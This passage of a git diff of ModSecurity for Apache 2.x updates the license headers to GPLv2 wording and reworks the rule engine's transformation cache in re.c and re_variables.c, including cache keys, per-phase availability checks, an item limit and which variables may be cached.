(http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #ifndef _MSC_XML_H_ diff --git a/apache2/pdf_protect.c b/apache2/pdf_protect.c index ed401f33..d5c26482 100644 --- a/apache2/pdf_protect.c +++ b/apache2/pdf_protect.c @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #include "modsecurity.h" diff --git a/apache2/pdf_protect.h b/apache2/pdf_protect.h index 8613193a..df0bd2b6 100644 --- a/apache2/pdf_protect.h +++ b/apache2/pdf_protect.h @@ -2,13 +2,20 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ - #ifndef _PDF_PROTECT_H_ #define _PDF_PROTECT_H_ diff --git a/apache2/persist_dbm.c b/apache2/persist_dbm.c index 3d667675..5d2b68a5 100644 --- a/apache2/persist_dbm.c +++ b/apache2/persist_dbm.c @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #include "persist_dbm.h" diff --git a/apache2/persist_dbm.h b/apache2/persist_dbm.h index 4bf2d0a9..8651240b 100644 --- a/apache2/persist_dbm.h +++ b/apache2/persist_dbm.h @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #ifndef _PERSIST_DBM_H_ diff --git a/apache2/re.c b/apache2/re.c index f8ef7189..eb8cadf2 100644 --- a/apache2/re.c +++ b/apache2/re.c @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #include @@ -1774,7 +1782,7 @@ static apr_status_t msre_rule_process_normal(msre_rule *rule, modsec_rec *msr) { apr_pool_t *mptmp = msr->msc_rule_mptmp; apr_table_t *tartab = NULL; apr_table_t *vartab = NULL; - int i, rc, match_count = 0; + int i, rc = 0, match_count = 0; int invocations = 0; int multi_match = 0; @@ -1789,6 +1797,7 @@ static apr_status_t msre_rule_process_normal(msre_rule *rule, modsec_rec *msr) { multi_match = 1; } + /* ENH: What is a good initial size? */ tartab = apr_table_make(mptmp, 24); if (tartab == NULL) return -1; vartab = apr_table_make(mptmp, 24); @@ -1857,28 +1866,48 @@ static apr_status_t msre_rule_process_normal(msre_rule *rule, modsec_rec *msr) { for (i = 0; i < arr->nelts; i++) { int changed; int usecache = 0; - apr_table_t **carr = NULL; apr_table_t *cachetab = NULL; apr_time_t time_before_trans = 0; + msre_var *var; /* Take one target. */ - msre_var *var = (msre_var *)te[i].val; + var = (msre_var *)te[i].val; /* Is this var cacheable? */ if (msr->txcfg->cache_trans != MODSEC_CACHE_DISABLED) { usecache = 1; + /* Counting vars are not cacheable due to them being created + * in a local per-rule pool. + */ + if (var->is_counting) { + if (msr->txcfg->debuglog_level >= 9) { + msr_log(msr, 9, "CACHE: Disabled - &%s is dynamic", var->name); + } + + usecache = 0; + } + /* Only cache if if the variable is available in this phase */ + else if (msr->phase < var->metadata->availability) { + if (msr->txcfg->debuglog_level >= 9) { + msr_log(msr, 9, "CACHE: Disabled - %s is not yet available in phase %d (requires phase %d or later)", var->name, msr->phase, var->metadata->availability); + } + + usecache = 0; + } /* check the cache options */ - if (var->value_len < msr->txcfg->cache_trans_min) { + else if (var->value_len < msr->txcfg->cache_trans_min) { if (msr->txcfg->debuglog_level >= 9) { msr_log(msr, 9, "CACHE: Disabled - %s value length=%u, smaller than minlen=%" APR_SIZE_T_FMT, var->name, var->value_len, msr->txcfg->cache_trans_min); } + usecache = 0; } - if ((msr->txcfg->cache_trans_max != 0) && (var->value_len > msr->txcfg->cache_trans_max)) { + else if ((msr->txcfg->cache_trans_max != 0) && (var->value_len > msr->txcfg->cache_trans_max)) { if (msr->txcfg->debuglog_level >= 9) { msr_log(msr, 9, "CACHE: Disabled - %s value length=%u, larger than maxlen=%" APR_SIZE_T_FMT, var->name, var->value_len, msr->txcfg->cache_trans_max); } + usecache = 0; } @@ -1889,26 +1918,44 @@ static apr_status_t msre_rule_process_normal(msre_rule *rule, modsec_rec *msr) { msr_log(msr, 9, "CACHE: Enabled"); } + #ifdef CACHE_DEBUG + msr_log(msr, 9, "CACHE: Fetching cache entry from hash=%pp: %pp=%s", msr->tcache, var, var->name); + #endif + /* Fetch cache table for this target */ - carr = (apr_table_t **)apr_hash_get(msr->tcache, var->name, APR_HASH_KEY_STRING); - if (carr != NULL) { - cachetab = carr[msr->phase]; - } - else { - /* Create an array of cache tables (one table per phase) */ - carr = (apr_table_t **)apr_pcalloc(msr->mp, (sizeof(apr_table_t *) * (PHASE_LAST + 1))); - if (carr == NULL) return -1; - memset(carr, 0, (sizeof(apr_table_t *) * (PHASE_LAST + 1))); - apr_hash_set(msr->tcache, var->name, APR_HASH_KEY_STRING, carr); - } + cachetab = (apr_table_t *)apr_hash_get(msr->tcache, var->value, sizeof(var->value)); /* Create an empty cache table if this is the first time */ - if (cachetab == NULL) { - cachetab = carr[msr->phase] = apr_table_make(msr->mp, 5); + #ifdef CACHE_DEBUG + if (cachetab) { + msr_log(msr, 9, "CACHE: Using cache table %pp", cachetab); } + else + #else + if (cachetab == NULL) + #endif + { + /* NOTE: We use the pointer to the var value as a hash + * key as it is unique. This pointer *must* + * remain valid through the entire phase. If + * it does not, then we will not receive a cache + * hit and just wasted RAM. So, it is important + * that any such vars be marked as VAR_DONT_CACHE. + * + * ENH: Only use pointer for non-scalar vars + */ + cachetab = apr_table_make(msr->mp, 3); + apr_hash_set(msr->tcache, var->value, sizeof(var->value), cachetab); + + #ifdef CACHE_DEBUG + msr_log(msr, 9, "CACHE: Created a new cache table %pp for %pp", cachetab, var->value); + #endif + } + } else { usecache = 0; + if (msr->txcfg->debuglog_level >= 9) { msr_log(msr, 9, "CACHE: %s transformations are not cacheable", var->name); } @@ -1936,7 +1983,10 @@ static apr_status_t msre_rule_process_normal(msre_rule *rule, modsec_rec *msr) { msre_action *action; msre_tfn_metadata *metadata; apr_table_t *normtab; + const char *lastvarval = NULL; + apr_size_t lastvarlen = 0; + changed = 0; normtab = apr_table_make(mptmp, 10); if (normtab == NULL) return -1; tarr = apr_table_elts(rule->actionset->actions); @@ -1945,6 +1995,7 @@ static apr_status_t msre_rule_process_normal(msre_rule *rule, modsec_rec *msr) { /* Build the final list of transformation functions. */ for (k = 0; k < tarr->nelts; k++) { action = (msre_action *)telts[k].val; + if (strcmp(telts[k].key, "t") == 0) { if (strcmp(action->param, "none") == 0) { apr_table_clear(normtab); @@ -1968,9 +2019,14 @@ static apr_status_t msre_rule_process_normal(msre_rule *rule, modsec_rec *msr) { * starting point */ if (usecache) { - tfnspath = apr_psprintf(msr->mp, "%s%s%s", (tfnspath?tfnspath:""), (tfnspath?",":""), action->param); - tfnskey = apr_psprintf(msr->mp, "%x;%s", tfnscount, tfnspath); + tfnspath = apr_psprintf(mptmp, "%s%s%s", (tfnspath?tfnspath:""), (tfnspath?",":""), action->param); + tfnskey = apr_psprintf(mptmp, "%x;%s", tfnscount, tfnspath); crec = (msre_cache_rec *)apr_table_get(cachetab, tfnskey); + + #ifdef CACHE_DEBUG + msr_log(msr, 9, "CACHE: %s %s cached=%d", var->name, tfnskey, (crec ? 1 : 0)); + #endif + if (crec != NULL) { last_crec = crec; last_cached_tfn = tfnscount; @@ -1983,15 +2039,19 @@ static apr_status_t msre_rule_process_normal(msre_rule *rule, modsec_rec *msr) { /* If the last cached tfn is the last in the list * then we can stop here and just execute the action immediatly */ - if (usecache && !multi_match && (crec != NULL) && (crec == last_crec)) { + if (usecache && !multi_match && + (crec != NULL) && (crec == last_crec)) + { crec->hits++; + if (crec->changed) { - var->value = apr_pmemdup(msr->mp, crec->val, crec->val_len); + var->value = apr_pmemdup(mptmp, crec->val, crec->val_len); var->value_len = crec->val_len; } if (msr->txcfg->debuglog_level >= 9) { - msr_log(msr, 9, "T (%d) %s: \"%s\" [cached hits=%d]", crec->changed, crec->path, log_escape_nq_ex(mptmp, var->value, var->value_len), crec->hits); + msr_log(msr, 9, "T (%d) %s: \"%s\" [fully cached hits=%d]", crec->changed, crec->path, + log_escape_nq_ex(mptmp, var->value, var->value_len), crec->hits); } #if !defined(PERFORMANCE_MEASUREMENT) @@ -1999,9 +2059,11 @@ static apr_status_t msre_rule_process_normal(msre_rule *rule, modsec_rec *msr) { #endif { apr_time_t t1 = apr_time_now(); + #if defined(PERFORMANCE_MEASUREMENT) rule->trans_time += (t1 - time_before_trans); #endif + msr_log(msr, 4, "Transformation completed in %" APR_TIME_T_FMT " usec.", (t1 - time_before_trans)); } @@ -2030,14 +2092,6 @@ static apr_status_t msre_rule_process_normal(msre_rule *rule, modsec_rec *msr) { tarr = apr_table_elts(normtab); - /* Make a copy of the variable value so that - * we can change it in-place. - */ - if (tarr->nelts) { - var->value = apr_pstrmemdup(mptmp, var->value, var->value_len); - /* var->value_len remains the same */ - } - /* Execute transformations in a loop. */ /* Start after the last known cached transformation if we can */ @@ -2046,32 +2100,39 @@ static apr_status_t msre_rule_process_normal(msre_rule *rule, modsec_rec *msr) { tfnspath = last_crec->path; last_crec->hits++; - if ((changed = last_crec->changed) == 1) { - var->value = apr_pmemdup(msr->mp, last_crec->val, last_crec->val_len); + if ((changed = last_crec->changed) > 0) { + var->value = last_crec->val; var->value_len = last_crec->val_len; } if (msr->txcfg->debuglog_level >= 9) { - msr_log(msr, 9, "T (%d) %s: \"%s\" [partially cached hits=%d]", last_crec->changed, tfnspath, log_escape_nq_ex(mptmp, var->value, var->value_len), last_crec->hits); + msr_log(msr, 9, "T (%d) %s: \"%s\" [partially cached hits=%d]", last_crec->changed, + tfnspath, log_escape_nq_ex(mptmp, var->value, var->value_len), last_crec->hits); } } else { - changed = 1; tfnspath = NULL; k = 0; } + /* Make a copy of the value so that we can change it in-place. */ + if (tarr->nelts) { + var->value = apr_pstrmemdup(mptmp, var->value, var->value_len); + /* var->value_len remains the same */ + } + telts = (const apr_table_entry_t*)tarr->elts; for (; k < tarr->nelts; k++) { char *rval = NULL; long int rval_length = -1; + int tfnchanged = 0; /* In multi-match mode we execute the operator * once at the beginning and then once every * time the variable is changed by the transformation * function. */ - if (multi_match && changed) { + if (multi_match && (k == 0 || tfnchanged)) { invocations++; #if !defined(PERFORMANCE_MEASUREMENT) @@ -2079,9 +2140,11 @@ static apr_status_t msre_rule_process_normal(msre_rule *rule, modsec_rec *msr) { #endif { apr_time_t t1 = apr_time_now(); + #if defined(PERFORMANCE_MEASUREMENT) rule->trans_time += (t1 - time_before_trans); #endif + msr_log(msr, 4, "Transformation completed in %" APR_TIME_T_FMT " usec.", (t1 - time_before_trans)); } @@ -2108,60 +2171,88 @@ static apr_status_t msre_rule_process_normal(msre_rule *rule, modsec_rec *msr) { /* Perform one transformation. */ action = (msre_action *)telts[k].val; metadata = (msre_tfn_metadata *)action->param_data; - - /* Try to use the cache */ - if (usecache) { - /* Generate the cache key */ - tfnspath = apr_psprintf(msr->mp, "%s%s%s", (tfnspath?tfnspath:""), (tfnspath?",":""), action->param); - tfnskey = apr_psprintf(msr->mp, "%x;%s", (k + 1), tfnspath); - - /* Try to fetch this transformation from cache */ - #ifdef CACHE_DEBUG - msr_log(msr, 9, "CACHE: Fetching %s %s ", var->name, tfnskey); - #endif - crec = (msre_cache_rec *)apr_table_get(cachetab, tfnskey); - if (crec != NULL) { - crec->hits++; - - if ((changed = crec->changed) == 1) { - var->value = apr_pmemdup(msr->mp, crec->val, crec->val_len); - var->value_len = crec->val_len; - } - - if (msr->txcfg->debuglog_level >= 9) { - msr_log(msr, 9, "T (%d) %s: \"%s\" [cached hits=%d]", crec->changed, metadata->name, log_escape_nq_ex(mptmp, var->value, var->value_len), crec->hits); - } - continue; - } - } - - rc = metadata->execute(mptmp, (unsigned char *)var->value, var->value_len, + tfnchanged = metadata->execute(mptmp, + (unsigned char *)var->value, var->value_len, &rval, &rval_length); - if (rc < 0) { + + if (tfnchanged < 0) { return -1; } - changed = rc; + if (tfnchanged) { + changed++; + } + /* Use the new values */ var->value = rval; var->value_len = rval_length; /* Cache the transformation */ if (usecache) { - /* ENH1: Add flag to vars to tell which ones can change across phases store the rest in a global cache */ - crec = (msre_cache_rec *)apr_pcalloc(msr->mp, sizeof(msre_cache_rec)); - if (crec == NULL) return -1; + int tfnsnum = k + 1; - crec->hits = 0; - crec->changed = changed; - crec->num = k + 1; - crec->path = tfnspath; - crec->val = changed ? apr_pmemdup(msr->mp, var->value, var->value_len) : NULL; - crec->val_len = changed ? var->value_len : 0; - #ifdef CACHE_DEBUG - msr_log(msr, 9, "CACHE: Caching %s=\"%.*s\"", tfnskey, var->value_len, log_escape_nq_ex(mptmp, var->value, var->value_len)); - #endif - apr_table_setn(cachetab, tfnskey, (void *)crec); + /* Generate the cache key */ + tfnspath = apr_psprintf(msr->mp, "%s%s%s", (tfnspath ? tfnspath : ""), + (tfnspath ? "," : ""), action->param); + tfnskey = apr_psprintf(msr->mp, "%x;%s", tfnsnum, tfnspath); + + if ((msr->txcfg->cache_trans_maxitems != 0) && + (msr->tcache_items >= msr->txcfg->cache_trans_maxitems)) + { + /* Warn only once if we attempt to go over the cache limit. */ + if (msr->tcache_items == msr->txcfg->cache_trans_maxitems) { + msr->tcache_items++; + msr_log(msr, 4, "CACHE: Disabled - phase=%d" + " maxitems=%" APR_SIZE_T_FMT + " limit reached.", + msr->phase, + msr->txcfg->cache_trans_maxitems); + } + } + else if (msr->txcfg->cache_trans_incremental || + (tfnsnum == tarr->nelts)) + { + /* ENH1: Add flag to vars to tell which ones can change across phases store the rest in a global cache */ + crec = (msre_cache_rec *)apr_pcalloc(msr->mp, sizeof(msre_cache_rec)); + if (crec == NULL) return -1; + + crec->hits = 0; + crec->changed = changed; + crec->num = k + 1; + crec->path = tfnspath; + + /* We want to cache a copy if it changed otherwise + * we just want to use a pointer to the last changed value. + */ + crec->val = (!lastvarval || tfnchanged) ? apr_pmemdup(msr->mp, var->value, var->value_len) : lastvarval; + crec->val_len = changed ? ((!lastvarval || tfnchanged) ? var->value_len : lastvarlen) : 0; + + /* Keep track of the last changed var value */ + if (tfnchanged) { + lastvarval = crec->val; + lastvarlen = crec->val_len; + } + + #ifdef CACHE_DEBUG + if (changed) { + msr_log(msr, 9, "CACHE: Caching %s=\"%s\" (%pp)", + tfnskey, + log_escape_nq_ex(mptmp, + crec->val, + crec->val_len), + var); + } + else { + msr_log(msr, 9, "CACHE: Caching %s= (%pp)", + tfnskey, + var); + } + #endif + + msr->tcache_items++; + + apr_table_setn(cachetab, tfnskey, (void *)crec); + } } if (msr->txcfg->debuglog_level >= 9) { @@ -2183,9 +2274,11 @@ static apr_status_t msre_rule_process_normal(msre_rule *rule, modsec_rec *msr) { #endif { apr_time_t t1 = apr_time_now(); + #if defined(PERFORMANCE_MEASUREMENT) rule->trans_time += (t1 - time_before_trans); #endif + msr_log(msr, 4, "Transformation completed in %" APR_TIME_T_FMT " usec.", (t1 - time_before_trans)); } @@ -2210,44 +2303,6 @@ static apr_status_t msre_rule_process_normal(msre_rule *rule, modsec_rec *msr) { } } - #ifdef CACHE_DEBUG - if (msr->txcfg->debuglog_level >= 9) { - apr_hash_index_t *hi; - void *dummy; - apr_table_t **tab; - const apr_array_header_t *ctarr; - const apr_table_entry_t *ctelts; - msre_cache_rec *rec; - int cn = 0; - int ti, ri; - - for (hi = apr_hash_first(msr->mp, msr->tcache); hi; hi = apr_hash_next(hi)) { - apr_hash_this(hi, NULL, NULL, &dummy); - tab = (apr_table_t **)dummy; - if (tab == NULL) continue; - - for (ti = PHASE_FIRST; ti <= PHASE_LAST; ti++) { - if (tab[ti] == NULL) continue; - ctarr = apr_table_elts(tab[ti]); - ctelts = (const apr_table_entry_t*)ctarr->elts; - for (ri = 0; ri < ctarr->nelts; ri++) { - cn++; - rec = (msre_cache_rec *)ctelts[ri].val; - if (rec->changed) { - if (msr->txcfg->debuglog_level >= 9) { - msr_log(msr, 9, "CACHE: %5d) phase=%d hits=%d %x;%s=\"%s\"", cn, msr->phase, rec->hits, rec->num, rec->path, log_escape_nq_ex(mptmp, rec->val, rec->val_len)); - } - } - else { - if (msr->txcfg->debuglog_level >= 9) { - msr_log(msr, 9, "CACHE: %5d) phase=%d hits=%d %x;%s=", cn, msr->phase, rec->hits, rec->num, rec->path); - } - } - } - } - } - } - #endif return (match_count ? RULE_MATCH : RULE_NO_MATCH); } diff --git a/apache2/re.h b/apache2/re.h index 002f48e8..bcf256ad 100644 --- a/apache2/re.h +++ b/apache2/re.h @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #ifndef _MSC_RE_H_ diff --git a/apache2/re_actions.c b/apache2/re_actions.c index 2de11d05..d753e50c 100644 --- a/apache2/re_actions.c +++ b/apache2/re_actions.c @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #include "re.h" diff --git a/apache2/re_operators.c b/apache2/re_operators.c index 5eacf863..528968f9 100644 --- a/apache2/re_operators.c +++ b/apache2/re_operators.c @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #include "re.h" diff --git a/apache2/re_tfns.c b/apache2/re_tfns.c index 98faa382..b4a4b32b 100644 --- a/apache2/re_tfns.c +++ b/apache2/re_tfns.c @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #include diff --git a/apache2/re_variables.c b/apache2/re_variables.c index 91bf97e6..2225cba5 100644 --- a/apache2/re_variables.c +++ b/apache2/re_variables.c @@ -2,10 +2,18 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #include "http_core.h" @@ -450,7 +458,7 @@ static int var_request_uri_raw_generate(modsec_rec *msr, msre_var *var, msre_rul /* REQUEST_URI */ static int var_request_uri_generate(modsec_rec *msr, msre_var *var, msre_rule *rule, - apr_table_t *vartab, apr_pool_t *mptmp) + apr_table_t *vartab, apr_pool_t *mptmp) /* dynamic */ { char *value = NULL; @@ -2134,7 +2142,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_args_combined_size_generate, - VAR_DONT_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_REQUEST_HEADERS ); @@ -2233,7 +2241,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_files_combined_size_generate, - VAR_CACHE, + VAR_DONT_CACHE, /* temp copy */ PHASE_REQUEST_BODY ); @@ -2255,7 +2263,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 1, var_generic_list_validate, var_files_sizes_generate, - VAR_CACHE, + VAR_DONT_CACHE, /* temp copy */ PHASE_REQUEST_BODY ); @@ -2277,7 +2285,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 1, 1, var_generic_list_validate, var_geo_generate, - VAR_DONT_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_REQUEST_HEADERS ); @@ -2288,7 +2296,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 1, 1, var_generic_list_validate, var_global_generate, - VAR_DONT_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_REQUEST_HEADERS ); @@ -2299,7 +2307,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_highest_severity_generate, - VAR_DONT_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_REQUEST_HEADERS ); @@ -2310,7 +2318,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 1, 1, var_generic_list_validate, var_ip_generate, - VAR_DONT_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_REQUEST_HEADERS ); @@ -2321,7 +2329,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_matched_var_generate, - VAR_DONT_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_REQUEST_HEADERS ); @@ -2332,7 +2340,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_matched_var_name_generate, - VAR_DONT_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_REQUEST_HEADERS ); @@ -2354,7 +2362,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_multipart_boundary_quoted_generate, - VAR_CACHE, + VAR_DONT_CACHE, /* flag */ PHASE_REQUEST_BODY ); @@ -2365,7 +2373,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_multipart_boundary_whitespace_generate, - VAR_CACHE, + VAR_DONT_CACHE, /* flag */ PHASE_REQUEST_BODY ); @@ -2376,7 +2384,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_multipart_data_after_generate, - VAR_CACHE, + VAR_DONT_CACHE, /* flag */ PHASE_REQUEST_BODY ); @@ -2387,7 +2395,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_multipart_data_before_generate, - VAR_CACHE, + VAR_DONT_CACHE, /* flag */ PHASE_REQUEST_BODY ); @@ -2398,7 +2406,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_multipart_header_folding_generate, - VAR_CACHE, + VAR_DONT_CACHE, /* flag */ PHASE_REQUEST_BODY ); @@ -2409,7 +2417,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_multipart_crlf_line_generate, - VAR_CACHE, + VAR_DONT_CACHE, /* flag */ PHASE_REQUEST_BODY ); @@ -2420,7 +2428,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_multipart_crlf_lf_lines_generate, - VAR_CACHE, + VAR_DONT_CACHE, /* flag */ PHASE_REQUEST_BODY ); @@ -2431,7 +2439,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_multipart_lf_line_generate, - VAR_CACHE, + VAR_DONT_CACHE, /* flag */ PHASE_REQUEST_BODY ); @@ -2442,7 +2450,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_multipart_missing_semicolon_generate, - VAR_CACHE, + VAR_DONT_CACHE, /* flag */ PHASE_REQUEST_BODY ); @@ -2453,7 +2461,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_multipart_strict_error_generate, - VAR_CACHE, + VAR_DONT_CACHE, /* flag */ PHASE_REQUEST_BODY ); @@ -2464,7 +2472,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_multipart_unmatched_boundary_generate, - VAR_CACHE, + VAR_DONT_CACHE, /* flag */ PHASE_REQUEST_BODY ); @@ -2519,7 +2527,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_remote_port_generate, - VAR_CACHE, + VAR_DONT_CACHE, /* temp copy */ PHASE_REQUEST_BODY ); @@ -2541,7 +2549,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 1, 1, var_generic_list_validate, 